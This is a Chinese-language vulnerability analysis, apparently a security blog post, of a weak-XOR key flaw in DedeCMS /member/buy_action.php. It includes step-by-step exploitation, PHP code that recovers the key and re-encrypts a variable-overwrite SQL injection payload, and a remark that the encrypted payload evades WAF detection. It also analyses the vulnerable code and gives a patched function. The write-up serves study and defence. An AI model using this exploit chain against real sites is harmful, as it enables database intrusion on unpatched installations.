dedecms /member/buy_action.php Weak Password Vulnerability Algorithm Vul

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1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

1. 漏洞由mchStrCode函数弱算法(异或算法: 得其中2知余下1)->
2. 导致通过获取到的明文和密文可以逆出经过MD5加密的密匙key->
3. 破解MD5得到密匙->
4. 利用密匙加密攻击Payload数据，并发送->
5，在受害者服务端经过parse_str函数和foreach遍历最终覆盖表前缀变量$GLOBALS[cfg_dbprefix]实现注入
//漏洞利用过程提交的数据因为加密，隐藏了攻击payload的特征，和正常用户操作提交的数据并无二致，很难通过WAF等流量检测防御

Relevant Link:

http://m.blog.csdn.net/blog/jay900323/41311407

2. 漏洞触发条件

0x1: 漏洞测试

firefox的一个插件User Agent Switcher来设置UA,安装插件后，添加一个UA头，其中的User Agent清空，description随便填。设置为空是因为mchStrCode函数中的密匙含$_SERVER["HTTP_USER_AGENT"]，如果不为空将加大md5的破解难度，设置为空则密匙为固定10位长度。设置好UA后

1. 注册并登陆会员中心
2. 在"我的织梦"->
3. "消费中心"->
4. "会员升级/点卡充值"中的"购买新点卡"选择"100点卡"
5. 在点击购买前使用Live HTTP header监听

因为$_REQUEST获取参数是从$_GET->$_POST->$_COOKIE依次获取，所以$pr_encode明文的的内容为POST的内容“product=card&pid=1”加上COOKIE的内容，然后加密并打印加密后的字符串到html页面。明文和密文都获取到了，通过异或算法，获得MD5加密后的$key

<?php
    //明文
    $key = "product=card&pid=1";
    //密文
    $string = "QEJXUxNTQwlVABcGF0QMVAwFFmBwZzV1ZGd%2FJVhQQAIXWAMCBEZeBwAAUVJTAgoNA0BTBgdWBhZ8UgJVYkdTEywmDAxDdFRQVWVLUhR5c2tpAg4vVQFYVFQHBAVZUV5VBVEGAFdQBRIhVVVRfF9fXghkXllTXFRRCAdRAAUDBQUecwNUUnhZBgwMZV0IVW5rU1t1U1MNVVIOWFFRA1UEAwcEUQZaBUB1eWJpJiogcHcub2RmfA0XUwNUUldbEkoPVFkHVUMbX0BdRQdEXltYTxUKQQ";//加密的pd_encode字符串，需要修改
    $string = base64_decode(urldecode($string));
    for($i=0; $i<strlen($string); $i++)
    {
        $code  .= $string[$i] ^ $key[$i];
    }
    //待暴力破解的$key
    echo "md5($key):" .$code;
?>

接下来开始暴力破解$GLOBALS['cfg_cookie_encode'](因为我们控制$_SERVER["HTTP_USER_AGENT"]为空)，取逆出的key的前16位破解md5即可，得到的$GLOBALS['cfg_cookie_encode']就是一个密文，我们不需要再次去逆向这个$GLOBALS['cfg_cookie_encode']了，可以直接使用它的密文进行后续的攻击

到了这一步，发起攻击的条件都准备好了，我们可以利用获得的$key，复用mchStrCode函数代码，对我们的变量覆盖payload进行加密，等效于利用了dedecms自己的加密通道发起了变量覆盖攻击，利用变量覆盖漏洞覆盖$GLOBALS[cfg_dbprefix]实现注入

<?php
    $GLOBALS['cfg_cookie_encode'] = 'CaQIm1790O';
    function mchStrCode($string,$action='ENCODE')
    {
        $key    = substr(md5($GLOBALS['cfg_cookie_encode']),8,18);
        $string    = $action == 'ENCODE' ? $string : base64_decode($string);
        $len    = strlen($key);
        $code    = '';
        for($i=0; $i<strlen($string); $i++)
        {
        $k        = $i % $len;
        $code  .= $string[$i] ^ $key[$k];
        }
        $code = $action == 'DECODE' ? $code : base64_encode($code);
        return $code;
    }

Relevant Link:

http://drops.wooyun.org/papers/979

3. 漏洞影响范围
4. 漏洞代码分析

我们从黑客攻击步骤的角度，逐步来分析一下漏洞代码，同时讨论补丁前和补丁后的代码
dedecms5.5datasys_pay.cache.php

function mchStrCode($string, $action='ENCODE')
{
    $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
    $string    = $action == 'ENCODE' ? $string : base64_decode($string);
    $len    = strlen($key);
    $code    = '';

    for($i = 0; $i < strlen($string); $i++)
    {
        $k        = $i % $len;
        //补丁前是简单的异或算法
        $code  .= $string[$i] ^ $key[$k];
    }
    $code = $action == 'DECODE' ? $code : base64_encode($code);
    return $code;
}

我们第一步的目标是推导出用户加密的$key，我们从mchStrCode使用流这个角度入手，即分析哪些地方调用了mchStrCode这个函数
/member/buy_action.php

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
    //调用了mchStrCode函数对$pd_encode变量解密并通过parse_str函数注册变量
    parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
    //foreach遍历$mch_Post数组，这里如果我们可以控制$pd_encode解码后的内容，就可以注册覆盖任意变量
    foreach($mch_Post as $k => $v) 
        $$k = $v;
    $row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
    if(!isset($row['buyid']))
    {
        ShowMsg("请不要重复提交表单!", 'javascript:;');
        exit();
    }
    $buyid = $row['buyid']; 
}
..

确定了攻击向量是变量覆盖，接下来要分析的是如何构造触发这条攻击向量，继续回到dedecms5.5datasys_pay.cache.php中的mchStrCode函数

function mchStrCode($string, $action='ENCODE')
{
    $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
    ..
    for($i = 0; $i < strlen($string); $i++)
    {
        $k        = $i % $len;
        //补丁前是简单的异或算法
        $code  .= $string[$i] ^ $key[$k];
    }
    ..
}

其中构成$key的关键参数

1. $_SERVER["HTTP_USER_AGENT"]: 浏览器的USER_AGENT，攻击者可控
2. $GLOBALS['cfg_cookie_encode']: 未知，需要暴力破解

/install/index.php的$rnd_cookieEncode字符串的生成同样是加强了强度，$rnd_cookieEncode字符串最终也就是前面提到的$GLOBALS['cfg_cookie_encode']

$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));

这段代码生成的加密密匙很有规律，所有密钥数为26^6*(9999-1000)=2779933068224,把所有可能的组合生成字典，用passwordpro暴力跑MD5或者使用GPU来破解，可以得到原始密钥
总结一下上文

1. 要暴力破解$GLOBALS['cfg_cookie_encode']，就需要知道$key密文
2. 因为mchStrCode函数的简单异或算法的关系，$key密文可以通过明文和密文异或到得到
/*
假设有明文A，密匙B，密文C，则
C = A ^ B
B = A ^ C
*/

所以现在问题就转换为了: 如何得到明文以及加密后的字符串呢
/member/buy_action.php

//$pr_encode是从$_REQUEST获取的，也就是说明文可控
    $pr_encode = '';
    foreach($_REQUEST as $key => $val)
    {
        $pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
    }
    
    $pr_encode = str_replace('=', '', mchStrCode($pr_encode));
    
    $pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);
    
    $temp_arr = NULL;
    $tpl = new DedeTemplate();
    //$pr_encode加密后写到html页面
    $tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
    $tpl->Display();

dedecms5.5member empletsuy_action_payment.htm

..
<input type="hidden" name="pd_encode" value="<?php echo $pr_encode;?>">
<input type="hidden" name="pd_verify" value="<?php echo $pr_verify;?>">
..

我们需要的明文和密文都能获取到

Relevant Link:

http://webscan.360.cn/news/news128

5. 防御方法

/member/buy_action.php

function mchStrCode($string, $operation = 'ENCODE') 
{
    $key_length = 4;
    $expiry = 0;
    $key = md5($GLOBALS['cfg_cookie_encode']);
    $fixedkey = md5($key);
    $egiskeys = md5(substr($fixedkey, 16, 16));
    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
    $keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));

    $i = 0; $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++)
    {
        $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }
    if($operation == 'ENCODE') 
    {
        return $runtokey . str_replace('=', '', base64_encode($result));
    } 
    else 
    {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) 
        {
            return substr($result, 26);
        } 
        else 
        {
            return '';
        }
    }
}

Relevant Link:

http://www.dedecms.com/pl/

6. 攻防思考

思考这种攻击向量，问题的根源不在明文可控、明文、密文泄漏，这些都是对一个WEB应用来说必须的，而根源在于用于密码的算法不能采用简单的异或算法，应该禁止黑客仅仅通过明密文就可以逆向出$key的密文